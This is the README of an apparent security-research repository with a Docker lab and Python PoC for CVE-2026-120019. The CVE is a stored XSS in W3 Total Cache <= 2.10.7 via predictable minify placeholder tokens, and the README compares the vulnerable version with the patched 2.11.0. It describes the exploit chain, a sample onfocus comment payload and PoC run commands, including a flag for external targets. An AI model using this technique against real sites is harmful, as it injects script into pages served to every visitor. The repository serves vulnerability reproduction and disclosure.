
用于复现 CVE-2026-120019 的 Docker 实验环境和 Python PoC,该漏洞是 W3 Total Cache <= 2.10.7 中通过可预测的 minify 占位符令牌实现的未认证存储型 XSS,并附带已修复的 2.11.0 版本作为对照。
用于复现和验证 CVE-2026-120019 的安全研究材料:
W3 Total Cache <= 2.10.7 允许未认证的评论者在评论内容中植入伪造的
minify 占位符令牌;当 HTML 压缩处理以可预测的 md5(time()) 命名空间运行时,
被忽略评论的保留器会将评论的原始 stem-comment 内容拼接进攻击者的属性值中
——具备脚本执行能力的属性会在任何注释上下文之外被挂载,并且在启用页面缓存的情况下,
被污染的 HTML 会被提供给后续的每一位访问者。
random_bytes(16) 并加入
冲突防护(_ensurePlaceholderHash),该防护会扩展哈希直到它
不再出现在源 HTML 中;同样的加固也应用于
Minify_HTML 的 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']) 命名空间AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)- CWE-79mfunc 条目,并且攻击者必须通过在适用时间窗口内
读取 HTTP Date 响应头中的服务器时钟来预测 md5(time()) 占位符命名空间仅可在你拥有或获得明确授权测试的系统上使用。 该 PoC 发布的是无副作用的评论(载荷标记仅设置一个 JS 变量), 并且不会向磁盘写入任何内容。
状态:已在提供的实验环境中得到验证。
W3 Total Cache 2.10.7(WordPress 7.1.2,页面缓存 Disk Enhanced + HTML 压缩并启用默认 stems,可评论的文章):
comment posted : stem comment + 15 forged md5(time()) placeholder tokens
result : render with minify pass at a predicted second splices the
raw stem comment into an attacker title attribute -
autofocus/onfocus escape the comment context
2.10.7 persist : injection served from the page cache to a fresh anonymous
GET (stored, not one-shot)
2.11.0 : namespace unpredictable + collision guard; payload inert
across the full attempt budget (patched negative control)
PoC 断言的是注入的标记(由攻击者选择的锚点上挂载的事件处理属性),而不是驱动浏览器;autofocus+tabindex 是否会在加载时触发焦点处理器取决于浏览器,但注入原语——将任意攻击者 HTML/属性拼接到活动元素上下文中——正是该公告所描述的 XSS 汇聚点,而目标输出上下文允许的任何具备脚本能力的属性向量都会以相同方式生效。
处理流程。 在启用 minify.enabled + minify.html.enable 的情况下,Minify_Plugin::ob_callback() 会在每次 HTML 页面渲染时运行 minify_html()(Minify_Plugin.php:367-371)。HTML 压缩过程通过 Minify_IgnoredCommentPreserver(Minify_Plugin.php:628-635)在压缩期间保留配置的“被忽略注释词干”——默认是 google_ad_、RSPEAK_、mfunc(ConfigKeys.php:985-995)。
可预测的命名空间。 保留器的占位符标记是 %%IgnoredCommentPreserver_<hash>_<index>%%,其中哈希是
// lib/Minify/Minify/IgnoredCommentPreserver.php:10, W3TC 2.10.7
$this->_replacementHash = 'IgnoredCommentPreserver_' . md5(time());
秒级分辨率,并且可以从任何 Date 响应头完全预测。
盲恢复。 在压缩之后,每个令牌都会被替换回其存储的原始注释——没有转义,没有上下文感知:
// IgnoredCommentPreserver.php:28-33, 2.10.7
public function replace($html) {
$html = str_replace(array_keys($this->_placeholders),
array_values($this->_placeholders), $html);
str_replace 会在文档中的任意位置匹配令牌文本——包括攻击者提供的属性值内部。词干匹配使用不区分大小写的 stristr,因此评论者提交的 <!--mfunc ... -->(由于它是 HTML 注释,wp_kses 会原样保留)会被原样保留并原样重新输出。
修复方案。 2.11.0 将命名空间替换为 CSPRNG 输出,并且决定性地在源 HTML 中任意位置出现时对其进行扩展——植入的令牌文本永远不会与真实占位符发生冲突:
// lib/Minify/Minify/IgnoredCommentPreserver.php, W3TC 2.11.0
protected function _ensurePlaceholderHash( $source = null ) {
if ( ! \is_string( $this->_replacementHash ) || '' === $this->_replacementHash ) {
$this->_replacementHash = 'IgnoredCommentPreserver_' . \bin2hex( \random_bytes( 16 ) );
}
while ( \is_string( $source ) && false !== \strpos( $source, $this->_replacementHash ) ) {
$this->_replacementHash .= \bin2hex( \random_bytes( 8 ) );
}
相同的 _ensurePlaceholderHash 模式也被应用于 Minify_HTML 自身的占位符(2.10.7 中的 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']))——这是第二个同样可预测的碰撞域,而公告标题并未提及;本实验环境未对其进行验证。
Date 头)读取服务器时钟,并发布一条包含以下内容的评论:
<!--mfunc " autofocus tabindex=1 onfocus=... x=" -->
(仅含引号的正文可完整通过 wp_kses——尖括号会被剥离或实体编码),以及title 属性为伪造令牌
%%IgnoredCommentPreserver_md5(T)_i%%,针对窗口内每个候选秒 T 及保留索引 i(页面上每个已存在的词干注释都会使索引偏移)。autofocus tabindex=1 onfocus=window.CVE120019X=1 作为锚点的实时属性挂载。要求:Docker 及 Compose v2、宿主机上的 Python 3.10+。
./lab verify
构建 2.10.7 实验环境,要求注入触发(并持久化到页面缓存中),然后构建 2.11.0 实验环境并要求注入不存在。使用 ./lab reset 移除所有内容。
存在漏洞的对照组:
[!!!] PLACEHOLDER-TOKEN INJECTION CONFIRMED (stored XSS)
posted : comment with 15 forged md5(time()) placeholder tokens
evidence: raw ignored-stem comment spliced into a title attribute;
autofocus/onfocus escapes the comment context
context : ...title=<!--mfunc " autofocus tabindex=1 onfocus=window.CVE120019X=1 x=" --> ...
persist : injection served from the page cache to a fresh anonymous GET
(stored, not just one-shot)
RESULT: VULNERABLE CONTROL CONFIRMED
已修补的控件:
[*] payload present but inert on this render (md5(time()) namespace did not
match a planted token)
[=] injection not observed within the attempt budget. Either the plugin is
patched (>= 2.11.0: random_bytes namespace + collision guard) or every
render second fell outside the predicted window.
RESULT: PATCHED CONTROL CONFIRMED
仅存在于完整 HTML 注释中的标记不被接受为证据;stem 注释的内容必须出现在注释上下文之外,并拼接进攻击者的属性中(PoC 正则中的 title=...<!--mfunc 签名相邻关系)。
./lab start vulnerable # 2.10.7 lab on http://127.0.0.1:9490
./lab test # assert injection fires + persists
./lab start patched # 2.11.0 lab
./lab test # assert absence
./lab status
./lab reset
通过手动运行 PoC(默认使用回环地址;授权的外部目标需要显式覆盖):
python3 poc/poc_cve_2026_120019.py --url http://127.0.0.1:9490 --post-id 4
python3 poc/poc_cve_2026_120019.py --url https://target.example \
--post-id 4 --allow-authorized-non-loopback [--insecure]
nuclei 模板(nuclei/cve-2026-120019.yaml)仅用于版本筛查
(readme.txt 稳定标签 <= 2.10.7)。行为链需要服务器时钟
预测以及在时间窗口内进行渲染;Python PoC 执行完整
流程。
| 版本 | 评估 |
|---|---|
| W3 Total Cache 2.10.7 | 注入已端到端复现,包括页面缓存持久化 |
| W3 Total Cache 2.11.0 | 已复现修补后的阴性对照(在整个预算范围内均无效果) |
| W3 Total Cache 2.10.4-2.10.6 | 已验证相同的 preserver 源码(md5(time()));公告标记 <= 2.10.7 受影响 |
| W3 Total Cache <= 2.10.3 | 根据公告受影响;未单独测试 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-120019.yaml
├── poc/
│ └── poc_cve_2026_120019.py
└── provision/
└── install.php
未提交:assets/(插件 zip 文件)、.lab-state、__pycache__/。
| 声明 | 状态 |
|---|---|
| 令牌碰撞拼接进攻击者属性(2.10.7) | 已证实 |
| 注入内容从页面缓存提供给全新的匿名 GET 请求 | 已证实 |
| 已修补的阴性对照(2.11.0) | 已证实 |
| 默认词干 + 默认评论 kses(实验拓扑) | 已证实(即本实验配置) |
autofocus+onfocus 在真实浏览器中执行 | 未断言——PoC 仅断言注入的标记;浏览器焦点行为取决于环境 |
Minify_HTML 的 md5(REQUEST_TIME) 同级汇点 | 已验证同一修复;此处未利用 |
| 关闭缓存的部署(每次渲染都重新压缩) | 同一汇点可达;仅持久化步骤不同——未单独测试 |
| 非默认词干列表(移除 mfunc) | 公告前提不成立;未测试 |
仅在你拥有或获得明确授权测试的系统上运行本仓库。实验驱动程序拒绝除 vulnerable/patched 之外的变体,PoC 拒绝非回环目标,除非提供 --allow-authorized-non-loopback,且 Compose 端口绑定到 127.0.0.1。载荷标记仅赋值一个 JS 变量;绝不会注入任何破坏性内容。
有关披露处理,请参阅 SECURITY.md。本仓库不包含生产目标、客户数据、访问令牌或来自真实系统的证据。
MIT——请参阅 LICENSE。